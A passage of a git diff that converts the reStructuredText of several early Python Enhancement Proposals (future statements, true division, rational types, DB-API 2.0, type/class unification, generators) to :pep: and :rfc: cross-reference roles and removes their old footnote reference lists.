-PEP 227, Statically Nested Scopes [2]_ is the first application, and will be +:pep:`227`, Statically Nested Scopes is the first application, and will be used as an example here. Intent ====== -[Note: This is policy, and so should eventually move into PEP 5 [1]_] +[Note: This is policy, and so should eventually move into :pep:`5`] When an incompatible change to core language syntax or semantics is being made: @@ -41,9 +41,9 @@ made: 2. A future release R is identified in which the new syntax or semantics will be enforced. -3. The mechanisms described in PEP 3, Warning Framework [3]_ are used to +3. The mechanisms described in :pep:`230`, Warning Framework are used to generate warnings, whenever possible, about constructs or operations whose - meaning may [4]_ change in release R. + meaning may [1]_ change in release R. 4. The new future_statement (see below) can be explicitly included in a module M to request that the code in module M use the new syntax or semantics in @@ -106,7 +106,7 @@ cannot be pushed off until runtime. For any given release, the compiler knows which feature names have been defined, and raises a compile-time error if a future_statement contains a -feature not known to it [5]_. +feature not known to it [2]_. The direct runtime semantics are the same as for any ``import`` statement: there is a standard module ``__future__.py``, described later, and it will be @@ -140,7 +140,7 @@ Under 2.0, it prints:: x is 42 -Nested scopes [2]_ are being introduced in 2.1. But under 2.1, it still +Nested scopes (:pep:`227`) are being introduced in 2.1. But under 2.1, it still prints:: x is 42 @@ -241,7 +241,7 @@ This isn't always desired, though. For example, ``doctest.testmod(M)`` compiles examples taken from strings in M, and those examples should use M's choices, not necessarily the doctest module's choices. In the 2.1 release, this isn't possible, and no scheme has yet been suggested for working around -this. NOTE: PEP 264 later addressed this in a flexible way, by adding +this. NOTE: :pep:`264` later addressed this in a flexible way, by adding optional arguments to ``compile()``. In any case, a future_statement appearing "near the top" (see Syntax above) of @@ -279,10 +279,10 @@ However, the machinery used internally by native interactive shells has not been exposed, and there isn't a clear way for tools building their own interactive shells to achieve the desired behavior. -NOTE: PEP 264 later addressed this, by adding intelligence to the standard +NOTE: :pep:`264` later addressed this, by adding intelligence to the standard ``codeop.py``. Simulated shells that don't use the standard library shell helpers can get a similar effect by exploiting the new optional arguments to -``compile()`` added by PEP 264. +``compile()`` added by :pep:`264`. Questions and Answers @@ -297,7 +297,7 @@ PEP if you want to pursue it. What about incompatibilities due to changes in the Python virtual machine? -------------------------------------------------------------------------- -Outside the scope of this PEP, although PEP 5 [1]_ suggests a grace period +Outside the scope of this PEP, although :pep:`5` suggests a grace period there too, and the future_statement may also have a role to play there. What about incompatibilities due to changes in Python's C API? @@ -350,19 +350,10 @@ This document has been placed in the public domain. References and Footnotes ======================== -.. [1] PEP 5, Guidelines for Language Evolution, Prescod - http://www.python.org/dev/peps/pep-0005/ - -.. [2] PEP 227, Statically Nested Scopes, Hylton - http://www.python.org/dev/peps/pep-0227/ - -.. [3] PEP 230, Warning Framework, Van Rossum - http://www.python.org/dev/peps/pep-0230/ - -.. [4] Note that this is *may* and not *will*: better safe than sorry. Of course +.. [1] Note that this is *may* and not *will*: better safe than sorry. Of course spurious warnings won't be generated when avoidable with reasonable cost. -.. [5] This ensures that a future_statement run under a release prior to the +.. [2] This ensures that a future_statement run under a release prior to the first one in which a given feature is known (but >= 2.1) will raise a compile-time error rather than silently do a wrong thing. If transported to a release prior to 2.1, a runtime error will be raised because of the diff --git a/pep-0238.txt b/pep-0238.txt index c415d6a6805..7d87cb40381 100644 --- a/pep-0238.txt +++ b/pep-0238.txt @@ -96,7 +96,7 @@ of code to be fixed, but the amount of code that might be affected by the bug in the future is unbounded. Another reason for this change is the desire to ultimately unify Python's -numeric model. This is the subject of PEP 228 [0]_ (which is currently +numeric model. This is the subject of :pep:`228` (which is currently incomplete). A unified numeric model removes most of the user's need to be aware of different numerical types. This is good for beginners, but also takes away concerns about different numeric behavior for advanced programmers. @@ -156,7 +156,7 @@ discussed on c.l.py that isn't mentioned here, please mail the second author. - Let ``/`` keep its classic semantics; introduce ``//`` for true division. This still leaves a broken operator in the language, and invites to use the broken behavior. It also shuts off the road to a unified numeric model a la - PEP 228 [0]_. + :pep:`228`. - Let int division return a special "portmanteau" type that behaves as an integer in integer context, but like a float in a float context. The @@ -316,7 +316,7 @@ language). Algorithms that consciously use longs should consider using ``//``, as true division of longs retains no more than 53 bits of precision (on most platforms). -If and when a rational type is added to Python (see PEP 239 [2]_), true +If and when a rational type is added to Python (see :pep:`239`), true division for ints and longs should probably return a rational. This avoids the problem with true division of ints and longs losing information. But until then, for consistency, float is the only choice for true division. @@ -333,7 +333,7 @@ Python 3.0 comes along, where they are always translated to true division). The future division statement has no effect on the recognition or translation of ``//`` and ``//=``. -See PEP 236 [4]_ for the general rules for future statements. +See :pep:`236` for the general rules for future statements. (It has been proposed to use a longer phrase, like *true_division* or *modern_division*. These don't seem to add much information.) @@ -416,7 +416,7 @@ Why isn't true division called float division? ---------------------------------------------- Because I want to keep the door open to *possibly* introducing rationals - and making 1/2 return a rational rather than a float. See PEP 239 [2]_. + and making 1/2 return a rational rather than a float. See :pep:`239`. Why is there a need for ``__truediv__`` and ``__itruediv__``? ------------------------------------------------------------- @@ -427,7 +427,7 @@ Why is there a need for ``__truediv__`` and ``__itruediv__``? How do I write code that works under the classic rules as well as under the new rules without using ``//`` or a future division statement? ------------------------------------------------------------------------------------------------------------------------------------------ - Use ``x*1.0/y`` for true division, ``divmod(x, y)`` [0]_ for int + Use ``x*1.0/y`` for true division, ``divmod(x, y)`` (:pep:`228`) for int division. Especially the latter is best hidden inside a function. You may also write ``float(x)/y`` for true division if you are sure that you don't expect complex numbers. If you know your integers are never @@ -442,13 +442,13 @@ How do I write code that works under the classic rules as well as under the new How do I specify the division semantics for ``input()``, ``compile()``, ``execfile()``, ``eval()`` and ``exec``? ---------------------------------------------------------------------------------------------------------------- - They inherit the choice from the invoking module. PEP 236 [4]_ now lists - this as a resolved problem, referring to PEP 264 [5]_. + They inherit the choice from the invoking module. :pep:`236` now lists + this as a resolved problem, referring to :pep:`264`. What about code compiled by the codeop module? ---------------------------------------------- - This is dealt with properly; see PEP 264 [5]_. + This is dealt with properly; see :pep:`264`. Will there be conversion tools or aids? --------------------------------------- @@ -476,28 +476,6 @@ Essentially everything mentioned here is implemented in CVS and will be released with Python 2.2a3; most of it was already released with Python 2.2a2. -References -========== - -.. [0] PEP 228, Reworking Python's Numeric Model - http://www.python.org/dev/peps/pep-0228/ - -.. [1] PEP 237, Unifying Long Integers and Integers, Zadka, - http://www.python.org/dev/peps/pep-0237/ - -.. [2] PEP 239, Adding a Rational Type to Python, Zadka, - http://www.python.org/dev/peps/pep-0239/ - -.. [3] PEP 240, Adding a Rational Literal to Python, Zadka, - http://www.python.org/dev/peps/pep-0240/ - -.. [4] PEP 236, Back to the __future__, Peters, - http://www.python.org/dev/peps/pep-0236/ - -.. [5] PEP 264, Future statements in simulated shells - http://www.python.org/dev/peps/pep-0236/ - - Copyright ========= diff --git a/pep-0239.txt b/pep-0239.txt index 0ccafaed87a..b56f4d89bee 100644 --- a/pep-0239.txt +++ b/pep-0239.txt @@ -18,19 +18,19 @@ Python has no numeric type with the semantics of an unboundedly precise rational number. This proposal explains the semantics of such a type, and suggests builtin functions and literals to support such a type. This PEP suggests no literals for rational -numbers; that is left for another PEP [1]_. +numbers; that is left for :pep:`another PEP <240>`. BDFL Pronouncement ================== This PEP is rejected. The needs outlined in the rationale section -have been addressed to some extent by the acceptance of PEP 327 +have been addressed to some extent by the acceptance of :pep:`327` for decimal arithmetic. Guido also noted, "Rational arithmetic was the default 'exact' arithmetic in ABC and it did not work out as -expected". See the python-dev discussion on 17 June 2005 [2]_. +expected". See the python-dev discussion on 17 June 2005 [1]_. -*Postscript:* With the acceptance of PEP 3141, "A Type Hierarchy +*Postscript:* With the acceptance of :pep:`3141`, "A Type Hierarchy for Numbers", a 'Rational' numeric abstract base class was added with a concrete implementation in the 'fractions' module. @@ -127,10 +127,7 @@ Open Issues References ========== -.. [1] PEP 240, Adding a Rational Literal to Python, Zadka, - http://www.python.org/dev/peps/pep-0240/ - -.. [2] Raymond Hettinger, Propose rejection of PEPs 239 and 240 -- a builtin +.. [1] Raymond Hettinger, Propose rejection of PEPs 239 and 240 -- a builtin rational type and rational literals https://mail.python.org/pipermail/python-dev/2005-June/054281.html diff --git a/pep-0240.txt b/pep-0240.txt index 3d5c40f5fa9..3b38fd31d40 100644 --- a/pep-0240.txt +++ b/pep-0240.txt @@ -14,7 +14,7 @@ Post-History: 16-Mar-2001 Abstract ======== -A different PEP [1]_ suggests adding a builtin rational type to +A :pep:`different PEP <239>` suggests adding a builtin rational type to Python. This PEP suggests changing the ddd.ddd float literal to a rational in Python, and modifying non-integer division to return it. @@ -24,10 +24,10 @@ BDFL Pronouncement ================== This PEP is rejected. The needs outlined in the rationale section -have been addressed to some extent by the acceptance of PEP 327 +have been addressed to some extent by the acceptance of :pep:`327` for decimal arithmetic. Guido also noted, "Rational arithmetic was the default 'exact' arithmetic in ABC and it did not work out as -expected". See the python-dev discussion on 17 June 2005 [2]_. +expected". See the python-dev discussion on 17 June 2005 [1]_. Rationale @@ -88,9 +88,7 @@ point, which gives us a new loss of precision. References ========== -.. [1] PEP 239, Adding a Rational Type to Python, Zadka, - http://www.python.org/dev/peps/pep-0239/ -.. [2] Raymond Hettinger, Propose rejection of PEPs 239 and 240 -- a builtin +.. [1] Raymond Hettinger, Propose rejection of PEPs 239 and 240 -- a builtin rational type and rational literals https://mail.python.org/pipermail/python-dev/2005-June/054281.html diff --git a/pep-0241.txt b/pep-0241.txt index 9a99650ce9e..41a4c757f4a 100644 --- a/pep-0241.txt +++ b/pep-0241.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: A.M. Kuchling Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 12-Mar-2001 Post-History: 19-Mar-2001 @@ -33,7 +34,7 @@ command will, if it detects an existing PKG-INFO file, terminate with an appropriate error message. This should prevent confusion caused by the PKG-INFO and setup.py files being out of sync. -The PKG-INFO file format is a single set of RFC-822 headers +The PKG-INFO file format is a single set of :rfc:`822` headers parseable by the rfc822.py module. The field names listed in the following section are used as the header names. There's no extension mechanism in this simple format; the Catalog and Distutils @@ -165,7 +166,7 @@ Author-email ------------ A string containing the author's e-mail address. It can contain -a name and e-mail address in the legal forms for a RFC-822 +a name and e-mail address in the legal forms for a :rfc:`822` 'From:' header. It's not optional because cataloging systems can use the e-mail portion of this field as a unique key representing the author. A catalog might provide authors the diff --git a/pep-0243.txt b/pep-0243.txt index 8352846a454..40b0fabf874 100644 --- a/pep-0243.txt +++ b/pep-0243.txt @@ -6,6 +6,7 @@ Author: jafo-pep@tummy.com (Sean Reifschneider) Discussions-To: distutils-sig@python.org Status: Withdrawn Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 18-Mar-2001 Python-Version: 2.1 @@ -34,11 +35,11 @@ Upload Process ============== The upload will include the Distutils ``PKG-INFO`` meta-data -information (as specified in PEP 241 [1]_), the actual software +information (as specified in :pep:`241`), the actual software distribution, and other optional information. This information will be uploaded as a multi-part form encoded the same as a regular HTML file upload request. This form is posted using -``ENCTYPE="multipart/form-data"`` encoding [2]_. +``ENCTYPE="multipart/form-data"`` encoding (:rfc:`1867`). The upload will be made to the host "www.python.org" on port 80/tcp (``POST http://www.python.org:80/pypi``). The form @@ -53,7 +54,7 @@ will consist of the following fields: ord(byte))``). - ``pkginfo`` (optional) -- The file containing the distribution - meta-data (as specified in PEP 241 [1]_). Note that if this is + meta-data (as specified in :pep:`241`). Note that if this is not included, the distribution file is expected to be in ``.tar`` format (gzipped and bzipped compressed are allowed) or ``.zip`` format, with a ``PKG-INFO`` file in the top-level directory it @@ -70,7 +71,7 @@ will consist of the following fields: ``---``. -- ``signature`` (optional) -- A OpenPGP-compatible signature [3]_ of +- ``signature`` (optional) -- A :rfc:`OpenPGP-compatible <2440>` signature of the uploaded distribution as signed by the author. This may be used by the cataloging system to automate acceptance of uploads. @@ -161,25 +162,12 @@ Status I currently have a proof-of-concept client and server implemented. I plan to have the Distutils patches ready for the 2.1 release. -Combined with Andrew's PEP 241 [1]_ for specifying distribution +Combined with Andrew's :pep:`241` for specifying distribution meta-data, I hope to have a platform which will allow us to gather real-world data for finalizing the catalog system for the 2.2 release. -References -========== - -.. [1] Metadata for Python Software Package, Kuchling, - http://www.python.org/dev/peps/pep-0241/ - -.. [2] RFC 1867, Form-based File Upload in HTML - http://www.faqs.org/rfcs/rfc1867.html - -.. [3] RFC 2440, OpenPGP Message Format - http://www.faqs.org/rfcs/rfc2440.html - - Copyright ========= diff --git a/pep-0244.txt b/pep-0244.txt index c54924afeeb..9d1628884e7 100644 --- a/pep-0244.txt +++ b/pep-0244.txt @@ -21,11 +21,11 @@ this is never done capriciously, and is always done with the aim of improving the language over the long term, over the short term it's contentious and disrupting. -PEP 1, Guidelines for Language Evolution [1]_ suggests ways to ease +:pep:`5`, Guidelines for Language Evolution suggests ways to ease the pain, and this PEP introduces some machinery in support of that. -PEP 2, Statically Nested Scopes [2]_ is the first application, and +:pep:`227`, Statically Nested Scopes is the first application, and will be used as an example here. When a new, potentially incompatible language feature is added, @@ -40,7 +40,7 @@ kinds of "settable" language features: - those that are designed to eventually become the only option, at which time specifying use of them is not necessary anymore. The features for which the syntax of the "Back to the ``__future__``" - PEP 236, Back to the ``__future__`` [3]_ was proposed fall into this + :pep:`236`, Back to the ``__future__`` was proposed fall into this category. This PEP supports declaring such features, and supports phasing out the "old" meaning of constructs whose semantics has changed under the new feature. However, it @@ -75,7 +75,7 @@ placed on the directive (e.g. placement of the directive in the module may be restricted to the top of the module). In the directive_statement, ``directive`` is a new -keyword. According to [1]_, this keyword is initially considered as +keyword. According to :pep:`5`, this keyword is initially considered as a keyword only when used in a directive statement, see "Backwards Compatibility" below. @@ -94,7 +94,7 @@ Specific Directives: transitional ================================= If a syntactical or semantical change is added to Python which is -incompatible, [1]_ mandates a transitional evolution of the +incompatible, :pep:`5` mandates a transitional evolution of the language, where the new feature is initially available alongside with the old one. Such a transition is possible by means of the transitional directive. @@ -117,7 +117,7 @@ Backwards Compatibility Introducing ``directive`` as a new keyword might cause incompatibilities with existing code. Following the guideline in -[1]_, in the initial implementation of this specification, +:pep:`5`, in the initial implementation of this specification, directive is a new keyword only if it was used in a valid directive_statement (i.e. if it appeared as the first non-string token in a module). @@ -147,7 +147,7 @@ allow source code encodings, no specific directive is proposed. **Q:** Then why was this PEP written at all? -**A:** It acts as a counter-proposal to [3]_, which proposes to +**A:** It acts as a counter-proposal to :pep:`236`, which proposes to overload the import statement with a new meaning. This PEP allows to solve the problem in a more general way. @@ -158,19 +158,6 @@ mixing apples and oranges? "transitional" directive has been defined. -References and Footnotes -======================== - -.. [1] PEP 5, Guidelines for Language Evolution, Prescod - http://www.python.org/dev/peps/pep-0005/ - -.. [2] PEP 227, Statically Nested Scopes, Hylton - http://www.python.org/dev/peps/pep-0227/ - -.. [3] PEP 236, Back to the ``__future__``, Peters - http://www.python.org/dev/peps/pep-0236/ - - Copyright ========= diff --git a/pep-0245.txt b/pep-0245.txt index 84fac96ed07..ae79afb96d2 100644 --- a/pep-0245.txt +++ b/pep-0245.txt @@ -3,7 +3,6 @@ Title: Python Interface Syntax Version: $Revision$ Last-Modified: $Date$ Author: Michel Pelletier -Discussions-To: http://www.zope.org/Wikis/Interfaces Status: Rejected Type: Standards Track Content-Type: text/x-rst @@ -12,12 +11,24 @@ Python-Version: 2.2 Post-History: 21-Mar-2001 +.. note:: + + The no-longer-available Zope interfaces wiki page + (``https://www.zope.org/Wikis/Interfaces``) originally linked here, + containing links to further resources for this PEP, + can be `found on the Wayback Machine archive + `__. + Also, the Interface-Dev Zope mailing list on which this PEP was discussed + was shut down, but `its archives remain available + `__. + + Rejection Notice ================ I'm rejecting this PEP. It's been five years now. While at some point I expect that Python will have interfaces, it would be naive -to expect it to resemble the syntax in this PEP. Also, PEP 246 is +to expect it to resemble the syntax in this PEP. Also, :pep:`246` is being rejected in favor of something completely different; interfaces won't play a role in adaptation or whatever will replace it. GvR. @@ -48,10 +59,10 @@ standard software. Zope's Interface package is used as the reference implementation for this PEP. The syntax proposed by this PEP relies on syntax enhancements -describe in PEP 232 [3]_ and describes an underlying framework -which PEP 233 [4]_ could be based upon. There is some work being +describe in :pep:`232` and describes an underlying framework +which :pep:`233` could be based upon. There is some work being done with regard to interface objects and Proxy objects, so for -those optional parts of this PEP you may want to see [5]_. +those optional parts of this PEP you may want to see [3]_. The Problem @@ -328,7 +339,7 @@ Formal Interface Syntax ======================= Python syntax is defined in a modified BNF grammar notation -described in the Python Reference Manual [8]_. This section +described in the Python Reference Manual [4]_. This section describes the proposed interface syntax using this grammar:: interfacedef: "interface" interfacename [extends] ":" suite @@ -437,8 +448,8 @@ defining ``interface`` as a new keyword will introduce. This extension to Python's syntax does not change any existing syntax in any backward incompatible way. -The new ``from __future__`` Python syntax [6]_, and the new warning -framework [7]_ is ideal for resolving this backward +The new ``from __future__`` Python syntax (:pep:`236`), and the new warning +framework (:pep:`230`) is ideal for resolving this backward incompatibility. To use interface syntax now, a developer could use the statement:: @@ -496,21 +507,9 @@ References .. [2] http://www.zope.org -.. [3] PEP 232, Function Attributes, Warsaw - http://www.python.org/dev/peps/pep-0232/ - -.. [4] PEP 233, Python Online Help, Prescod - http://www.python.org/dev/peps/pep-0233/ - -.. [5] http://www.lemburg.com/files/python/mxProxy.html - -.. [6] PEP 236, Back to the __future__, Peters - http://www.python.org/dev/peps/pep-0236/ - -.. [7] PEP 230, Warning Framework, van Rossum - http://www.python.org/dev/peps/pep-0236/ +.. [3] http://www.lemburg.com/files/python/mxProxy.html -.. [8] Python Reference Manual +.. [4] Python Reference Manual http://docs.python.org/reference/ diff --git a/pep-0246.txt b/pep-0246.txt index 7609d4a66e3..5486e737600 100644 --- a/pep-0246.txt +++ b/pep-0246.txt @@ -3,7 +3,7 @@ Title: Object Adaptation Version: $Revision$ Last-Modified: $Date$ Author: aleaxit@gmail.com (Alex Martelli), - cce@clarkevans.com (Clark C. Evans) + cce@clarkevans.com (Clark C. Evans) Status: Rejected Type: Standards Track Content-Type: text/x-rst @@ -61,7 +61,7 @@ intended to leave this proposal compatible with both existing categories of protocols, such as the existing system of type and classes, as well as the many concepts for "interfaces" as such which have been proposed or implemented for Python, such as the -one in PEP 245 [1]_, the one in Zope3 [2]_, or the ones discussed in +one in :pep:`245`, the one in Zope3 [2]_, or the ones discussed in the BDFL's Artima blog in late 2004 and early 2005 [3]_. However, some reflections on these subjects, intended to be suggestive and not normative, are also included. @@ -737,9 +737,6 @@ adaptation of interfaces and protocols in Python. References and Footnotes ======================== -.. [1] PEP 245, Python Interface Syntax, Pelletier - http://www.python.org/dev/peps/pep-0245/ - .. [2] http://www.zope.org/Wikis/Interfaces/FrontPage .. [3] http://www.artima.com/weblogs/index.jsp?blogger=guido diff --git a/pep-0249.txt b/pep-0249.txt index cce6a35022c..09d19dabc2f 100644 --- a/pep-0249.txt +++ b/pep-0249.txt @@ -12,8 +12,8 @@ Post-History: Replaces: 248 -`Introduction`_ -=============== +Introduction +============ This API has been defined to encourage similarity between the Python modules that are used to access databases. By doing this, we hope to @@ -35,11 +35,11 @@ encouraged to use this version of the specification as basis for new interfaces. -`Module Interface`_ -=================== +Module Interface +================= -`Constructors`_ ---------------- +Constructors +------------ Access to the database is made available through connection objects. The module must provide the following constructor for these: @@ -53,8 +53,8 @@ objects. The module must provide the following constructor for these: which are database dependent. [1]_ -`Globals`_ ----------- +Globals +------- These module globals must be defined: @@ -107,8 +107,8 @@ These module globals must be defined: ============ ============================================================== -`Exceptions`_ -------------- +Exceptions +---------- The module should make all error information available through these exceptions or subclasses thereof: @@ -220,14 +220,14 @@ This is the exception inheritance layout:: .. _Connection: -`Connection Objects`_ -===================== +Connection Objects +================== Connection objects should respond to the following methods. -`Connection methods`_ ---------------------- +Connection methods +------------------ .. .close(): .. _Connection.close: @@ -283,8 +283,8 @@ Connection objects should respond to the following methods. .. _Cursor: -`Cursor Objects`_ -================= +Cursor Objects +============== These objects represent a database cursor, which is used to manage the context of a fetch operation. Cursors created from the same connection @@ -297,8 +297,8 @@ transaction support is implemented (see also the connection's Cursor Objects should respond to the following methods and attributes. -`Cursor attributes`_ --------------------- +Cursor attributes +----------------- .. _.description: @@ -344,8 +344,8 @@ Cursor Objects should respond to the following methods and attributes. latter case to have the object return ``None`` instead of -1. -`Cursor methods`_ ------------------ +Cursor methods +-------------- .. _.callproc: .. _.callproc(): @@ -561,8 +561,8 @@ Cursor Objects should respond to the following methods and attributes. .. _Type Objects: -`Type Objects and Constructors`_ -================================ +Type Objects and Constructors +============================= Many databases need to have the input in a particular format for binding to an operation's input parameters. For example, if an input @@ -682,8 +682,8 @@ on input and output. .. _Implementation Hints: -`Implementation Hints for Module Authors`_ -========================================== +Implementation Hints for Module Authors +======================================= * Date/time objects can be implemented as `Python datetime module `__ objects (available @@ -769,8 +769,8 @@ on input and output. API to create the exception objects. -`Optional DB API Extensions`_ -============================= +Optional DB API Extensions +========================== During the lifetime of DB API 2.0, module authors have often extended their implementations beyond what is required by this DB API @@ -934,8 +934,8 @@ Cursor\ `.lastrowid`_ *Warning Message:* "DB-API extension cursor.lastrowid used" -`Optional Error Handling Extensions`_ -===================================== +Optional Error Handling Extensions +================================== The core DB API specification only introduces a set of exceptions which can be raised to report errors to the user. In some cases, @@ -981,8 +981,8 @@ Cursors should inherit the ``.errorhandler`` setting from their connection objects at cursor creation time. -`Optional Two-Phase Commit Extensions`_ -======================================= +Optional Two-Phase Commit Extensions +==================================== Many databases have support for two-phase commit (TPC) which allows managing transactions across multiple database connections and other @@ -994,8 +994,8 @@ API should be implemented. NotSupportedError_ should be raised, if the database backend support for two-phase commit can only be checked at run-time. -`TPC Transaction IDs`_ ----------------------- +TPC Transaction IDs +------------------- As many databases follow the XA specification, transaction IDs are formed from three components: @@ -1034,8 +1034,8 @@ Transaction IDs are created with the `.xid()`_ Connection method: represent transaction IDs with tuples rather than a custom object. -`TPC Connection Methods`_ -------------------------- +TPC Connection Methods +---------------------- .. _.tpc_*: .. _.tpc_*(): @@ -1117,8 +1117,8 @@ Transaction IDs are created with the `.xid()`_ Connection method: -`Frequently Asked Questions`_ -============================= +Frequently Asked Questions +========================== The database SIG often sees reoccurring questions about the DB API specification. This section covers some of the issues people sometimes @@ -1153,8 +1153,8 @@ between databases and makes writing portable code impossible. -`Major Changes from Version 1.0 to Version 2.0`_ -================================================ +Major Changes from Version 1.0 to Version 2.0 +============================================= The Python Database API 2.0 introduces a few major changes compared to the 1.0 version. Because some of these changes will cause existing DB @@ -1197,8 +1197,8 @@ Post-publishing additions to the DB API 2.0 specification: functionality were specified. -`Open Issues`_ -============== +Open Issues +=========== Although the version 2.0 specification clarifies a lot of questions that were left open in the 1.0 version, there are still some remaining @@ -1213,8 +1213,8 @@ issues which should be addressed in future versions: -`Footnotes`_ -============ +Footnotes +========= .. [1] As a guideline the connection constructor parameters should be implemented as keyword parameters for more intuitive use and @@ -1298,8 +1298,8 @@ issues which should be addressed in future versions: of the ``.rowcount`` attribute. -`Acknowledgements`_ -=================== +Acknowledgements +================ Many thanks go to Andrew Kuchling who converted the Python Database API Specification 2.0 from the original HTML format into the PEP @@ -1312,7 +1312,7 @@ Many thanks to Daniele Varrazzo for converting the specification from text PEP format to ReST PEP format, which allows linking to various parts. -`Copyright`_ -============ +Copyright +========= This document has been placed in the Public Domain. diff --git a/pep-0251.txt b/pep-0251.txt index c7de8ad4ff0..ccc2f83f9d8 100644 --- a/pep-0251.txt +++ b/pep-0251.txt @@ -54,7 +54,7 @@ every alpha, beta or other release, we forked off a branch which became the release. Changes to the branch are limited to the release manager and his designated 'bots. This experiment was deemed a success and should be observed for future releases. See -PEP 101 for the actual release mechanics [1]_. +:pep:`101` for the actual release mechanics. New features for Python 2.2 @@ -65,19 +65,16 @@ more detailed account, see Misc/NEWS [2]_ in the Python distribution, or Andrew Kuchling's "What's New in Python 2.2" document [3]_. -- iterators (PEP 234) -- generators (PEP 255) -- unifying long ints and plain ints (PEP 237) -- division (PEP 238) -- unification of types and classes (PEP 252, PEP 253) +- iterators (:pep:`234`) +- generators (:pep:`255`) +- unifying long ints and plain ints (:pep:`237`) +- division (:pep:`238`) +- unification of types and classes (:pep:`252`, :pep:`253`) References ========== -.. [1] PEP 101, Doing Python Releases 101 - http://www.python.org/dev/peps/pep-0101/ - .. [2] Misc/NEWS file from CVS http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Misc/NEWS?rev=1.337.2.4&content-type=text/vnd.viewcvs-markup diff --git a/pep-0252.txt b/pep-0252.txt index 15681f98ac3..b23fa61a28c 100644 --- a/pep-0252.txt +++ b/pep-0252.txt @@ -84,7 +84,7 @@ are: (The last two rules together are often summarized as the left-to-right, depth-first rule for attribute search. This is the -classic Python attribute lookup rule. Note that PEP 253 will +classic Python attribute lookup rule. Note that :pep:`253` will propose to change the attribute lookup order, and if accepted, this PEP will follow suit.) @@ -257,7 +257,7 @@ specific attribute of a given object. orders. In particular, classic classes use the old left-to-right depth-first rule, while new-style classes use a more advanced rule (see the section on method resolution order - in PEP 253). + in :pep:`253`). When a dynamic attribute (one defined in a regular object's ``__dict__``) has the same name as a static attribute (one defined @@ -466,7 +466,7 @@ explicit first argument. (If you don't understand this, don't worry, you're not alone.) Note that calling ``cls.foo(y)`` would be a mistake -- it would cause infinite recursion. Also note that you can't specify an explicit 'cls' argument to a class method. If -you want this (e.g. the ``__new__`` method in PEP 253 requires this), +you want this (e.g. the ``__new__`` method in :pep:`253` requires this), use a static method with a class as its explicit first argument instead. @@ -530,7 +530,7 @@ this situation substantially. field tells what kind of descriptor it is (method, member, or getset). -- As explained in PEP 252, descriptors have a ``get()`` method that +- As explained in :pep:`252`, descriptors have a ``get()`` method that takes an object argument and returns that object's attribute; descriptors for writable attributes also have a ``set()`` method that takes an object and a value and set that object's @@ -623,7 +623,7 @@ this situation substantially. - Modification for dynamic types: step 1 and 3 look in the dictionary of the type and all its base classes (in MRO - sequence, or couse). + sequence, or course). Discussion @@ -683,7 +683,7 @@ You can invoke any method from this list directly:: This is just like it is for user-defined classes. Notice a familiar yet surprising name in the list: ``__init__``. This -is the domain of PEP 253. +is the domain of :pep:`253`. Backwards compatibility @@ -711,7 +711,7 @@ add the arguments "-r descr-branch" to the cvs checkout command. here, see the file Lib/test/test_descr.py. Note: the code in this branch goes way beyond this PEP; it is also -the experimentation area for PEP 253 (Subtyping Built-in Types). +the experimentation area for :pep:`253` (Subtyping Built-in Types). References diff --git a/pep-0253.txt b/pep-0253.txt index a3fb28e5ed1..c4410848e23 100644 --- a/pep-0253.txt +++ b/pep-0253.txt @@ -67,10 +67,10 @@ This PEP will introduce the following features: specifying the specific names of the instance variables supported -This PEP builds on PEP 252, which adds standard introspection to +This PEP builds on :pep:`252`, which adds standard introspection to types; for example, when a particular type object initializes the ``tp_hash`` slot, that type object has a ``__hash__`` method when -introspected. PEP 252 also adds a dictionary to type objects +introspected. :pep:`252` also adds a dictionary to type objects which contains all methods. At the Python level, this dictionary is read-only for built-in types; at the C level, it is accessible directly (but it should not be modified except as part of @@ -86,9 +86,9 @@ checking of this flag bit. This should be fixed before the final release.) In current Python, a distinction is made between types and -classes. This PEP together with PEP 254 will remove that +classes. This PEP together with :pep:`254` will remove that distinction. However, for backwards compatibility the distinction -will probably remain for years to come, and without PEP 254, the +will probably remain for years to come, and without :pep:`254`, the distinction is still large: types ultimately have a built-in type as a base class, while classes ultimately derive from a user-defined class. Therefore, in the rest of this PEP, I will @@ -550,7 +550,7 @@ Assume B is a type object. Since type objects are objects, and every object has a type, B has a type. Since B is itself a type, we also call its type its metatype. B's metatype is accessible via ``type(B)`` or ``B.__class__`` (the latter notation is new for types; -it is introduced in PEP 252). Let's say this metatype is M (for +it is introduced in :pep:`252`). Let's say this metatype is M (for Metatype). The class statement will create a new type, C. Since C will be a type object just like B, we view the creation of C as an instantiation of the metatype, M. The information that needs @@ -902,7 +902,7 @@ Additional topics to be discussed in this PEP: - cooperative methods and ``super()`` - mapping between type object slots (tp_foo) and special methods - (``__foo__``) (actually, this may belong in PEP 252) + (``__foo__``) (actually, this may belong in :pep:`252`) - built-in names for built-in types (object, int, str, list etc.) @@ -942,7 +942,7 @@ open issues Implementation ============== -A prototype implementation of this PEP (and for PEP 252) is +A prototype implementation of this PEP (and for :pep:`252`) is available from CVS, and in the series of Python 2.2 alpha and beta releases. For some examples of the features described here, see the file Lib/test/test_descr.py and the extension module diff --git a/pep-0255.txt b/pep-0255.txt index 9add0610ed0..009fc989ff8 100644 --- a/pep-0255.txt +++ b/pep-0255.txt @@ -5,7 +5,6 @@ Last-Modified: $Date$ Author: nas@arctrix.com (Neil Schemenauer), tim.peters@gmail.com (Tim Peters), magnus@hetland.org (Magnus Lie Hetland) -Discussions-To: python-iterators@lists.sourceforge.net Status: Final Type: Standards Track Content-Type: text/x-rst @@ -51,7 +50,8 @@ only want to see whether something specific appears early in the program (e.g., a future statement, or, as is done in IDLE, just the first indented statement), and then parsing the whole program first is a severe waste of time. -Another alternative would be to make tokenize an iterator [1], delivering the +Another alternative would be to make tokenize an :pep:`iterator <234>`, +delivering the next token whenever its ``.next()`` method is invoked. This is pleasant for the caller in the same way a large list of results would be, but without the memory and "what if I want to get out early?" drawbacks. However, this shifts the @@ -69,7 +69,7 @@ provides a usable synchronized-communication class for doing that in a general way. This doesn't work on platforms without threads, though, and is very slow on platforms that do (compared to what is achievable without threads). -A final option is to use the Stackless [2] [3] variant implementation of Python +A final option is to use the Stackless [1]_ (:pep:`219`) variant implementation of Python instead, which supports lightweight coroutines. This has much the same programmatic benefits as the thread option, but is much more efficient. However, Stackless is a controversial rethinking of the Python core, and it may @@ -80,8 +80,8 @@ current CPython implementation, and is believed to be relatively straightforward for other Python implementations. That exhausts the current alternatives. Some other high-level languages -provide 